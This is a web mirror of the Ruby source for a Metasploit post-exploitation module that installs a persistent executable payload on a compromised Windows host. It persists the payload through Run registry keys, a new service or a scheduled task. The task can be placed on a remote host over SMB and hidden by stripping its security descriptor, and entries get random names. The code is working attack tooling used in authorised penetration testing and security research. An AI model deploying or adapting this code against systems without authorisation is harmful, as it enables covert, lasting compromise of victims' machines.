CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/persistence_exe.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Common
8
include Msf::Post::File
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Registry
11
include Msf::Post::Windows::Services
12
include Msf::Post::Windows::TaskScheduler
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Manage Persistent EXE Payload Installer',
19
'Description' => %q{
20
This Module will upload an executable to a remote host and make it Persistent.
21
It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
22
SYSTEM will start on system boot but requires privs. SERVICE will create a new service
23
which will start the payload. Again requires privs.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
27
'Version' => '$Revision:1$',
28
'Platform' => [ 'windows' ],
29
'SessionTypes' => [ 'meterpreter'],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
core_channel_eof
34
core_channel_open
35
core_channel_read
36
core_channel_write
37
stdapi_sys_config_getenv
38
stdapi_sys_config_sysinfo
39
stdapi_sys_process_execute
40
]
41
}
42
},
43
'Notes' => {
44
'Stability' => [CRASH_SAFE],
45
'Reliability' => [REPEATABLE_SESSION],
46
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),
54
OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
55
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),
56
OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),
57
], self.class
58
)
59
60
register_advanced_options(
61
[
62
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
63
OptString.new('RemoteExePath', [
64
false,
65
'The remote path to move the payload to. Only valid when the STARTUP option is set '\
66
'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\
67
'if not set.'
68
], conditions: ['STARTUP', '==', 'TASK']),
69
OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),
70
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
71
]
72
)
73
end
74
75
# Run Method for when run command is issued
76
#-------------------------------------------------------------------------------
77
def run
78
print_status("Running module against #{sysinfo['Computer']}")
79
80
# Set vars
81
rexe = datastore['REXEPATH']
82
rexename = datastore['REXENAME']
83
host, _port = session.tunnel_peer.split(':')
84
@clean_up_rc = ''
85
86
raw = create_payload_from_file rexe
87
88
# Write script to %TEMP% on target
89
script_on_target = write_exe_to_target(raw, rexename)
90
91
# Initial execution of script
92
target_exec(script_on_target) if datastore['RUN_NOW']
93
94
case datastore['STARTUP'].upcase
95
when 'USER'
96
write_to_reg('HKCU', script_on_target)
97
when 'SYSTEM'
98
write_to_reg('HKLM', script_on_target)
99
when 'SERVICE'
100
install_as_service(script_on_target)
101
when 'TASK'
102
create_scheduler_task(script_on_target)
103
end
104
105
clean_rc = log_file
106
file_local_write(clean_rc, @clean_up_rc)
107
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
108
109
report_note(host: host,
110
type: 'host.persistance.cleanup',
111
data: {
112
local_id: session.sid,
113
stype: session.type,
114
desc: session.info,
115
platform: session.platform,
116
via_payload: session.via_payload,
117
via_exploit: session.via_exploit,
118
created_at: Time.now.utc,
119
commands: @clean_up_rc
120
})
121
end
122
123
# Function for creating log folder and returning log path
124
#-------------------------------------------------------------------------------
125
def log_file(log_path = nil)
126
# Get hostname
127
if datastore['STARTUP'] == 'TASK' && @cleanup_host
128
# Use the remote hostname when remote task creation is selected
129
# Cleanup will have to be performed on this remote host
130
host = @cleanup_host
131
else
132
host = session.sys.config.sysinfo['Computer']
133
end
134
135
# Create Filename info to be appended to downloaded files
136
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
137
138
# Create a directory for the logs
139
logs = if log_path
140
::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
141
else
142
::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
143
end
144
145
# Create the log directory
146
::FileUtils.mkdir_p(logs)
147
148
# logfile name
149
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
150
logfile
151
end
152
153
# Function to execute script on target and return the PID of the process
154
#-------------------------------------------------------------------------------
155
def target_exec(script_on_target)
156
print_status("Executing script #{script_on_target}")
157
proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
158
print_good("Agent executed with PID #{proc.pid}")
159
@clean_up_rc << "kill #{proc.pid}\n"
160
proc.pid
161
end
162
163
# Function to install payload in to the registry HKLM or HKCU
164
#-------------------------------------------------------------------------------
165
def write_to_reg(key, script_on_target)
166
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
167
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
168
if key
169
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')
170
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
171
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
172
else
173
print_error('Error: failed to open the registry key for writing')
174
end
175
end
176
177
# Function to install payload as a service
178
#-------------------------------------------------------------------------------
179
def install_as_service(script_on_target)
180
if is_system? || is_admin?
181
print_status('Installing as service..')
182
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
183
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
184
print_status("Creating service #{nam}")
185
186
key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)
187
188
# check if service had been created
189
if key != 0
190
print_error("Service #{nam} creating failed.")
191
return
192
end
193
194
# if service is stopped, then start it.
195
service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1
196
197
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
198
else
199
print_error('Insufficient privileges to create service')
200
end
201
end
202
203
# Function for writing executable to target host
204
#-------------------------------------------------------------------------------
205
def write_exe_to_target(rexe, rexename)
206
# check if we have write permission
207
# I made it by myself because the function filestat.writable? was not implemented yet.
208
if !datastore['LocalExePath'].nil?
209
210
begin
211
temprexe = datastore['LocalExePath'] + '\\' + rexename
212
write_file_to_target(temprexe, rexe)
213
rescue Rex::Post::Meterpreter::RequestError
214
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
215
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
216
write_file_to_target(temprexe, rexe)
217
end
218
219
# Write to %temp% directory if not set LocalExePath
220
else
221
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
222
write_file_to_target(temprexe, rexe)
223
end
224
225
print_good("Persistent Script written to #{temprexe}")
226
@clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"
227
temprexe
228
end
229
230
def write_file_to_target(temprexe, rexe)
231
fd = session.fs.file.new(temprexe, 'wb')
232
fd.write(rexe)
233
fd.close
234
end
235
236
# Function to create executable from a file
237
#-------------------------------------------------------------------------------
238
def create_payload_from_file(exec)
239
print_status("Reading Payload from file #{exec}")
240
File.binread(exec)
241
end
242
243
def move_to_remote(remote_host, script_on_target, remote_path)
244
print_status("Moving payload file to the remote host (#{remote_host})")
245
246
# Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"
247
remote_path = remote_path.split('\\').delete_if(&:empty?)
248
remote_exe = remote_path.pop
249
remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?
250
remote_path.prepend(remote_host)
251
remote_path = "\\\\#{remote_path.join('\\')}"
252
cmd = "net use #{remote_path}"
253
if datastore['ScheduleUsername'].present?
254
cmd << " /user:#{datastore['ScheduleUsername']}"
255
cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?
256
end
257
258
vprint_status("Executing command: #{cmd}")
259
result = cmd_exec_with_result(cmd)
260
unless result[1]
261
print_error(
262
'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\
263
"`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"
264
)
265
return false
266
end
267
268
# #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.
269
result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")
270
if result[1]
271
print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")
272
else
273
print_error("Unable to move the file to the remote host. Error: #{result[0]}")
274
end
275
276
result = cmd_exec_with_result("net use #{remote_path} /delete")
277
unless result[1]
278
print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")
279
end
280
281
return !!result
282
end
283
284
TaskSch = Msf::Post::Windows::TaskScheduler
285
286
def create_scheduler_task(script_on_target)
287
unless is_system? || is_admin?
288
print_error('Insufficient privileges to create a scheduler task')
289
return
290
end
291
292
remote_host = datastore['ScheduleRemoteSystem']
293
print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")
294
295
if remote_host.present?
296
remote_path = script_on_target
297
if datastore['RemoteExePath'].present?
298
remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')
299
remote_path = "#{remote_path}\\#{datastore['REXENAME']}"
300
end
301
return false unless move_to_remote(remote_host, script_on_target, remote_path)
302
303
@cleanup_host = remote_host
304
@clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"
305
end
306
307
task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(rand(8..15))
308
309
print_status("Task name: '#{task_name}'")
310
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
311
print_status('Also, removing the Security Descriptor registry key value to hide the task')
312
end
313
if datastore['ScheduleRemoteSystem'].present?
314
if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])
315
print_warning(
316
"The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\
317
'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\
318
' happening in the background'
319
)
320
if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'
321
print_warning(
322
'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\
323
'SECURITY_DESC, it will take much more time to be executed on the '\
324
'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\
325
'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'
326
)
327
end
328
end
329
@clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\
330
"# You should migrate to another process to be able to remove the payload file\n"\
331
"#{@clean_up_rc}"
332
end
333
334
begin
335
task_create(task_name, remote_host.blank? ? script_on_target : remote_path)
336
rescue TaskSchedulerObfuscationError => e
337
print_warning(e.message)
338
print_good('Task created without obfuscation')
339
rescue TaskSchedulerError => e
340
print_error("Task creation error: #{e}")
341
return
342
else
343
print_good('Task created')
344
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
345
@clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\
346
"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\
347
"-d '#{TaskSch::DEFAULT_SD}' "\
348
"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"
349
end
350
end
351
352
@clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"
353
end
354
end
355
356